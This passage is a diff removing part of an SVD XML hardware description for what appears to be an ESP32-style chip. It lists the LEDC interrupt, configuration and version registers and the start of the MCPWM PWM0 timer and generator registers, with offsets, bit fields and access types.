-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH7_INT_ST</name>
-              <description>The interrupt status bit for low speed channel 7 duty change done event</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_ENA</name>
-          <addressOffset>0x188</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HSTIMER0_OVF_INT_ENA</name>
-              <description>The interrupt enable bit for high speed channel0  counter overflow interrupt.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HSTIMER1_OVF_INT_ENA</name>
-              <description>The interrupt enable bit for high speed channel1  counter overflow interrupt.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HSTIMER2_OVF_INT_ENA</name>
-              <description>The interrupt enable bit for high speed channel2  counter overflow interrupt.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HSTIMER3_OVF_INT_ENA</name>
-              <description>The interrupt enable bit for high speed channel3  counter overflow interrupt.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LSTIMER0_OVF_INT_ENA</name>
-              <description>The interrupt enable bit for low speed channel0  counter overflow interrupt.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LSTIMER1_OVF_INT_ENA</name>
-              <description>The interrupt enable bit for low speed channel1  counter overflow interrupt.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LSTIMER2_OVF_INT_ENA</name>
-              <description>The interrupt enable bit for low speed channel2  counter overflow interrupt.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LSTIMER3_OVF_INT_ENA</name>
-              <description>The interrupt enable bit for low speed channel3  counter overflow interrupt.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH0_INT_ENA</name>
-              <description>The interrupt enable bit for high speed channel 0 duty change done interrupt.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH1_INT_ENA</name>
-              <description>The interrupt enable bit for high speed channel 1 duty change done interrupt.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH2_INT_ENA</name>
-              <description>The interrupt enable bit for high speed channel 2 duty change done interrupt.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH3_INT_ENA</name>
-              <description>The interrupt enable bit for high speed channel 3 duty change done interrupt.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH4_INT_ENA</name>
-              <description>The interrupt enable bit for high speed channel 4 duty change done interrupt.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH5_INT_ENA</name>
-              <description>The interrupt enable bit for high speed channel 5 duty change done interrupt.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH6_INT_ENA</name>
-              <description>The interrupt enable bit for high speed channel 6 duty change done interrupt.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH7_INT_ENA</name>
-              <description>The interrupt enable bit for high speed channel 7 duty change done interrupt.</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH0_INT_ENA</name>
-              <description>The interrupt enable bit for low speed channel 0 duty change done interrupt.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH1_INT_ENA</name>
-              <description>The interrupt enable bit for low speed channel 1 duty change done interrupt.</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH2_INT_ENA</name>
-              <description>The interrupt enable bit for low speed channel 2 duty change done interrupt.</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH3_INT_ENA</name>
-              <description>The interrupt enable bit for low speed channel 3 duty change done interrupt.</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH4_INT_ENA</name>
-              <description>The interrupt enable bit for low speed channel 4 duty change done interrupt.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH5_INT_ENA</name>
-              <description>The interrupt enable bit for low speed channel 5 duty change done interrupt.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH6_INT_ENA</name>
-              <description>The interrupt enable bit for low speed channel 6 duty change done interrupt.</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH7_INT_ENA</name>
-              <description>The interrupt enable bit for low speed channel 7 duty change done interrupt.</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_CLR</name>
-          <addressOffset>0x18C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HSTIMER0_OVF_INT_CLR</name>
-              <description>Set this  bit to clear  high speed channel0  counter overflow interrupt.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HSTIMER1_OVF_INT_CLR</name>
-              <description>Set this  bit to clear  high speed channel1  counter overflow interrupt.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HSTIMER2_OVF_INT_CLR</name>
-              <description>Set this  bit to clear  high speed channel2  counter overflow interrupt.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>HSTIMER3_OVF_INT_CLR</name>
-              <description>Set this  bit to clear  high speed channel3  counter overflow interrupt.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>LSTIMER0_OVF_INT_CLR</name>
-              <description>Set this  bit to clear  low speed channel0  counter overflow interrupt.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>LSTIMER1_OVF_INT_CLR</name>
-              <description>Set this  bit to clear  low speed channel1  counter overflow interrupt.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>LSTIMER2_OVF_INT_CLR</name>
-              <description>Set this  bit to clear  low speed channel2  counter overflow interrupt.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>LSTIMER3_OVF_INT_CLR</name>
-              <description>Set this  bit to clear  low speed channel3  counter overflow interrupt.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH0_INT_CLR</name>
-              <description>Set this  bit to clear  high speed channel 0 duty change done interrupt.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH1_INT_CLR</name>
-              <description>Set this  bit to clear  high speed channel 1 duty change done interrupt.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH2_INT_CLR</name>
-              <description>Set this  bit to clear  high speed channel 2 duty change done interrupt.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH3_INT_CLR</name>
-              <description>Set this  bit to clear  high speed channel 3 duty change done interrupt.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH4_INT_CLR</name>
-              <description>Set this  bit to clear  high speed channel 4 duty change done interrupt.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH5_INT_CLR</name>
-              <description>Set this  bit to clear  high speed channel 5 duty change done interrupt.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH6_INT_CLR</name>
-              <description>Set this  bit to clear  high speed channel 6 duty change done interrupt.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_HSCH7_INT_CLR</name>
-              <description>Set this  bit to clear  high speed channel 7 duty change done interrupt.</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH0_INT_CLR</name>
-              <description>Set this  bit to clear  low speed channel 0 duty change done interrupt.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH1_INT_CLR</name>
-              <description>Set this  bit to clear  low speed channel 1 duty change done interrupt.</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH2_INT_CLR</name>
-              <description>Set this  bit to clear  low speed channel 2 duty change done interrupt.</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH3_INT_CLR</name>
-              <description>Set this  bit to clear  low speed channel 3 duty change done interrupt.</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH4_INT_CLR</name>
-              <description>Set this  bit to clear  low speed channel 4 duty change done interrupt.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH5_INT_CLR</name>
-              <description>Set this  bit to clear  low speed channel 5 duty change done interrupt.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH6_INT_CLR</name>
-              <description>Set this  bit to clear  low speed channel 6 duty change done interrupt.</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>DUTY_CHNG_END_LSCH7_INT_CLR</name>
-              <description>Set this  bit to clear  low speed channel 7 duty change done interrupt.</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CONF</name>
-          <addressOffset>0x190</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APB_CLK_SEL</name>
-              <description>This bit is used to set the frequency of slow_clk. 1'b1:80mhz  1'b0:8mhz</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATE</name>
-          <addressOffset>0x1FC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x16031700</resetValue>
-          <fields>
-            <field>
-              <name>DATE</name>
-              <description>This register represents the version .</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>PWM0</name>
-      <description>Motor Control Pulse-Width Modulation</description>
-      <groupName>MCPWM</groupName>
-      <baseAddress>0x3FF5E000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x128</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <interrupt>
-        <name>PWM0</name>
-        <value>39</value>
-      </interrupt>
-      <registers>
-        <register>
-          <name>CLK_CFG</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CLK_PRESCALE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER0_CFG0</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000FF00</resetValue>
-          <fields>
-            <field>
-              <name>TIMER0_PRESCALE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER0_PERIOD</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER0_PERIOD_UPMETHOD</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER0_CFG1</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMER0_START</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER0_MOD</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER0_SYNC</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMER0_SYNCI_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SW</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER0_SYNCO_SEL</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER0_PHASE</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER0_PHASE_DIRECTION</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER0_STATUS</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMER0_VALUE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIMER0_DIRECTION</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER1_CFG0</name>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000FF00</resetValue>
-          <fields>
-            <field>
-              <name>TIMER1_PRESCALE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER1_PERIOD</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER1_PERIOD_UPMETHOD</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER1_CFG1</name>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMER1_START</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER1_MOD</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER1_SYNC</name>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMER1_SYNCI_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SW</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER1_SYNCO_SEL</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER1_PHASE</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER1_PHASE_DIRECTION</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER1_STATUS</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMER1_VALUE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIMER1_DIRECTION</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER2_CFG0</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000FF00</resetValue>
-          <fields>
-            <field>
-              <name>TIMER2_PRESCALE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER2_PERIOD</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER2_PERIOD_UPMETHOD</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER2_CFG1</name>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMER2_START</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER2_MOD</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER2_SYNC</name>
-          <addressOffset>0x2C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMER2_SYNCI_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SW</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER2_SYNCO_SEL</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER2_PHASE</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER2_PHASE_DIRECTION</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER2_STATUS</name>
-          <addressOffset>0x30</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMER2_VALUE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIMER2_DIRECTION</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER_SYNCI_CFG</name>
-          <addressOffset>0x34</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMER0_SYNCISEL</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER1_SYNCISEL</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIMER2_SYNCISEL</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>EXTERNAL_SYNCI0_INVERT</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>EXTERNAL_SYNCI1_INVERT</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>EXTERNAL_SYNCI2_INVERT</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>OPERATOR_TIMERSEL</name>
-          <addressOffset>0x38</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OPERATOR0_TIMERSEL</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OPERATOR1_TIMERSEL</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OPERATOR2_TIMERSEL</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GEN0_STMP_CFG</name>
-          <addressOffset>0x3C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>GEN0_A_UPMETHOD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN0_B_UPMETHOD</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN0_A_SHDW_FULL</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN0_B_SHDW_FULL</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GEN0_TSTMP_A</name>
-          <addressOffset>0x40</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>GEN0_A</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GEN0_TSTMP_B</name>
-          <addressOffset>0x44</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>GEN0_B</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GEN0_CFG0</name>
-          <addressOffset>0x48</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>GEN0_CFG_UPMETHOD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN0_T0_SEL</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN0_T1_SEL</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GEN0_FORCE</name>
-          <addressOffset>0x4C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000020</resetValue>
-          <fields>
-            <field>
-              <name>GEN0_CNTUFORCE_UPMETHOD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN0_A_CNTUFORCE_MODE</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN0_B_CNTUFORCE_MODE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN0_A_NCIFORCE</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN0_A_NCIFORCE_MODE</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN0_B_NCIFORCE</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN0_B_NCIFORCE_MODE</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GEN0_A</name>
-          <addressOffset>0x50</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>UTEZ</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UTEP</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UTEA</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UTEB</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UT0</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UT1</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEZ</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEP</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEA</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEB</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT0</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT1</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GEN0_B</name>
-          <addressOffset>0x54</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>UTEZ</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UTEP</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UTEA</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UTEB</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
